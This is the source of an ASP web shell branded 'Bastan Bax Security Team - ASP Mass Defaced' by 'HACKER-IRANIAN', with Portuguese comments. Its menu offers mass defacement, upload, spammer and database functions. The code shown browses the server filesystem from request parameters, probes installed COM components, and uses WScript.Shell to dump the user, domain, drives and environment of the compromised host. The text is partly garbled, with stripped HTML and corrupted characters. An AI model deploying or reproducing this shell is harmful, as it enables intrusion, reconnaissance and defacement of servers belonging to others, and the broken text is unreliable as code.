guardiran |
<%
On Error Resume Next
Set Objeto=Server.CreateObject("Scripting.FileSystemObject")
If request("path") <> "" then
Set ObjPasta = Objeto.GetFolder(request("path"))
Else
if request("t5") <> "" then
Set ObjPasta = Objeto.GetFolder(request("t5"))
Else
Set ObjPasta = Objeto.GetFolder(server.mappath("."))
end if
End If
If Trim(Request.QueryString("path")) = "" Then
caminho = Server.MapPath(Request.ServerVariables("SCRIPT_NAME"))
pos = Instr(caminho,"\")
pos2 = 1
While pos2 <> 0
If Instr(pos + 1,caminho,"\") <> 0 Then
pos = Instr(pos + 1,caminho,"\")
Else
pos2 = 0
End If
Wend
path = Left(caminho,pos)
Else
path = trim(Request.QueryString("path")) & "\"
End If
pagename = Mid(Request.ServerVariables("SCRIPT_NAME"),InstrRev(Request.ServerVariables("SCRIPT_NAME"),"/")+1,Len(Request.ServerVariables("SCRIPT_NAME")))
Function functionfooter
response.write " / " response.write "" response.write " Voltar / " response.write "" response.write " Home " response.write " / " response.write "I S 2007 | RitualistaS GrouP Priv8 |By HACKER-IRANIAN" End Function %> Bastan Bax Security Team - ASP Mass Defaced Home / Mass Deface / System Info / Upload / Spammer / Database / Info/Contact <% Response.Write FunctionFooter CASE "2" 'Informçُes do sistema Dim arrListaComponentes(47) arrListaComponentes(0) = Array( "AB Mailer","ABMailer.Mailman" ) arrListaComponentes(1) = Array( "ABC Upload","ABCUpload4.XForm" ) arrListaComponentes(2) = Array( "ActiveFile","ActiveFile.Post" ) arrListaComponentes(3) = Array( "ActiveX Data Object","ADODB.Connection" ) arrListaComponentes(4) = Array( "Adiscon SimpleMail","ADISCON.SimpleMail.1" ) arrListaComponentes(5) = Array( "ASP DNS", "AspDNS.Lookup" ) arrListaComponentes(6) = Array( "ASP HTTP","AspHTTP.Conn" ) arrListaComponentes(7) = Array( "ASP Image","AspImage.Image" ) arrListaComponentes(8) = Array( "ASP Mail","SMTPsvg.Mailer" ) arrListaComponentes(9) = Array( "ASP NNTP News", "AspNNTP.Conn" ) arrListaComponentes(10) = Array( "ASP POP 3", "POP3svg.Mailer" ) arrListaComponentes(11) = Array( "ASP Simple Upload","ASPSimpleUpload.Upload" ) arrListaComponentes(12) = Array( "ASP Smart Cache","aspSmartCache.SmartCache" ) arrListaComponentes(13) = Array( "ASP Smart Mail","aspSmartMail.SmartMail" ) arrListaComponentes(14) = Array( "ASP Smart Upload","aspSmartUpload.SmartUpload" ) arrListaComponentes(15) = Array( "ASP Tear","SOFTWING.ASPtear" ) arrListaComponentes(16) = Array( "ASP Thumbnailer","ASPThumbnailer.Thumbnail" ) arrListaComponentes(17) = Array( "ASP WhoIs","WhoIs2.WhoIs" ) arrListaComponentes(18) = Array( "ASPSoft NT Object","ASPSoft.NT" ) arrListaComponentes(19) = Array( "ASPSoft Upload","ASPSoft.Upload" ) arrListaComponentes(20) = Array( "CDO NTS","CDONTS.NewMail" ) arrListaComponentes(21) = Array( "Chestysoft Image","csImageFile.Manage" ) arrListaComponentes(22) = Array( "Chestysoft Upload","csASPUpload.Process" ) arrListaComponentes(23) = Array( "Dimac JMail","JMail.Message" ) arrListaComponentes(24) = Array( "Distinct SMTP","DistinctServerSmtp.SmtpCtrl" ) arrListaComponentes(25) = Array( "Dundas Mailer","Dundas.Mailer" ) arrListaComponentes(26) = Array( "Dundas Upload","Dundas.Upload.2" ) arrListaComponentes(27) = Array( "Dundas PieChartServer", "Dundas.ChartServer.2") arrListaComponentes(28) = Array( "Dundas 2D Chart", "Dundas.ChartServer2D.1") arrListaComponentes(29) = Array( "Dundas 3D Chart", "Dundas.ChartServer") arrListaComponentes(30) = Array( "Dynu Encrypt","Dynu.Encrypt" ) arrListaComponentes(31) = Array( "Dynu HTTP","Dynu.HTTP" ) arrListaComponentes(32) = Array( "Dynu Mail","Dynu.Email" ) arrListaComponentes(33) = Array( "Dynu Upload","Dynu.Upload" ) arrListaComponentes(34) = Array( "Dynu WhoIs","Dynu.Whois" ) arrListaComponentes(35) = Array( "Easy Mail","EasyMail.SMTP.5" ) arrListaComponentes(36) = Array( "File System Object","Scripting.FileSystemObject" ) arrListaComponentes(37) = Array( "Ticluse Teknologi HTTP","InteliSource.Online" ) arrListaComponentes(38) = Array( "Last Mod","LastMod.FileObj" ) arrListaComponentes(39) = Array( "Microsoft XML Engine","Microsoft.XMLDOM" ) arrListaComponentes(40) = Array( "Persits ASP JPEG","Persits.Jpeg" ) arrListaComponentes(41) = Array( "Persits ASPEmail","Persits.MailSender" ) arrListaComponentes(42) = Array( "Persits ASPEncrypt","Persits.CryptoManager" ) arrListaComponentes(43) = Array( "Persits File Upload","Persits.Upload.1" ) arrListaComponentes(44) = Array( "SMTP Mailer","SmtpMail.SmtpMail.1" ) arrListaComponentes(45) = Array( "Soft Artisans File Upload","SoftArtisans.FileUp" ) arrListaComponentes(46) = Array( "Image Size", "ImgSize.Check" ) arrListaComponentes(47) = Array( "Microsoft XML HTTP", "Microsoft.XMLHTTP" ) Response.Write "
Testando atualmente " & UBound(arrListaComponentes) + 1 & " componentes. O processo pode demorar ... " ' Rotina que verifica o componente do array é um objeto. Function VerificaObjeto(pComponente) Dim objComponente On Error Resume Next VerificaObjeto = False Err.Clear Set objComponente = Server.CreateObject(pComponente) If Err = 0 Then VerificaObjeto = True Set objComponente = Nothing Err.Clear End Function Public Function VerificaComponentes() Dim intCont, strTxt Dim intIndex, strProv intCont = 0 strTxt = "
Somente " & intCont & " componentes instalados de " strTxt = strTxt & "" & UBound(arrListaComponentes) + 1 & " testados. " VerificaComponentes = strTxt End Function Response.Write VerificaComponentes Response.Write "INFORMAاصES DO SISTEMA" checa = checking(cprthtml,keydec) Call hdr() Response.Write copyright & onlinehelp Set WshNetwork = Server.CreateObject("WScript.Network") Set WshShell = Server.CreateObject("WScript.Shell") Set WshEnv = WshShell.Environment("SYSTEM") Response.Write " " Response.Write "IDENTIFICAاأO DE REDE: " Response.Write "Usuلrio: " & WshNetwork.UserName & " " Response.Write "Nome do Computador: " & WshNetwork.ComputerName & " " Response.Write "Usuلrio do Domيnio: " & WshNetwork.UserDomain & " " Set Drives = WshNetwork.EnumNetworkDrives For i = 0 to Drives.Count - 1 Response.Write "Drive de Rede (Mapeado): " & Drives.Item(i) & " " Next Response.Write " FحSICO: " Response.Write "Arquitetura do Processador: " & WshEnv("PROCESSOR_ARCHITECTURE") & " " Response.Write "Nْmero de Processadores: " & WshEnv("NUMBER_OF_PROCESSORS") & " " Response.Write "Identificador do Processador: " & WshEnv("PROCESSOR_IDENTIFIER") & " " Response.Write "Nيvel do Processador: " & WshEnv("PROCESSOR_LEVEL") & " " Response.Write "Revisمo do Processador: " & WshEnv("PROCESSOR_REVISION") & " " Response.Write "LسGICO: " Response.Write "IP: " & request.servervariables("LOCAL_ADDR") & " " Response.Write "Sistema Operacional: " & WshEnv("OS") & " " Response.Write "Servidor Web: " & request.servervariables("SERVER_SOFTWARE") & " " Response.Write "Especificaçمo do Command: " & WshShell.ExpandEnvironmentStrings("%ComSpec%") & " " Response.Write "Caminhos no Path: " & WshEnv("PATH") & " " Response.Write "Executلveis: " & WshEnv("PATHEXT") & " " Response.Write "Prompt: " & WshEnv("PROMPT") & " " Response.Write "System Drive: " & WshShell.ExpandEnvironmentStrings("%SYSTEMDRIVE%") & " " Response.Write "System Root: " & WshShell.ExpandEnvironmentStrings("%SYSTEMROOT%") & " " Response.Write "Caminho do System32: " & WshShell.CurrentDirectory & " |
OUTRAS INFORMAاصES
" & folderItem.path & " | DeFaCeD!!! | " & UCase(Err.Description) & " |
Voce esta em:
" & server.mappath(pagename) end if dir=nothing %>Caminho:
"" then
Response.Write dir
Else
dual=Request("T5")
Response.Write dual
end if
%>">
<%
DIM fs, d, dc, s, n, sp
Set fs=Server.Createobject("Scripting.FileSystemObject")
Set dc=fs.drives
%> <%
On Error Resume Next
back1="#D3E2E7"
back2="#AFFEDE"
back=back2
Response.Write "Discos Disponiveis:
"
FOR EACH d IN dc
IF (back=back2) THEN
back=back1
ELSE
back=back2
END IF
Response.Write "| "
Response.write d.driveletter
Response.Write ": |"
next%>
Pastas |
Arquivos |
<%
If CInt(Len(path) - 1) <> 2 Then
barrapos = CInt(InstrRev(Left(path,Len(path) - 1),"\")) - 1
backlevel = Left(path,barrapos)
Response.Write " ::-:|_| : . . . " End If On Error Resume Next Old = ObjPasta News = strReverse(old) News = instr(News, "/") Leng = Len(old) - News Old = Left(Old, Leng) q = 1 syco contador contador=1 For each Pasta in ObjPasta.Subfolders PastaName=Pasta.Name q = q + 1 Response.Write " ::-:|" & Contador & "| : " & PastaName & " " Contador=contador+1 Next q = q - 1 %> |
<% On Error Resume Next syco contador Old = ObjPasta contador=1 For Each Arquivo in ObjPasta.Files ArquivoNome=Arquivo.Name Response.Write "::-:|" & Contador & "| : "& ArquivoNome & "" contador=contador+1 next %> |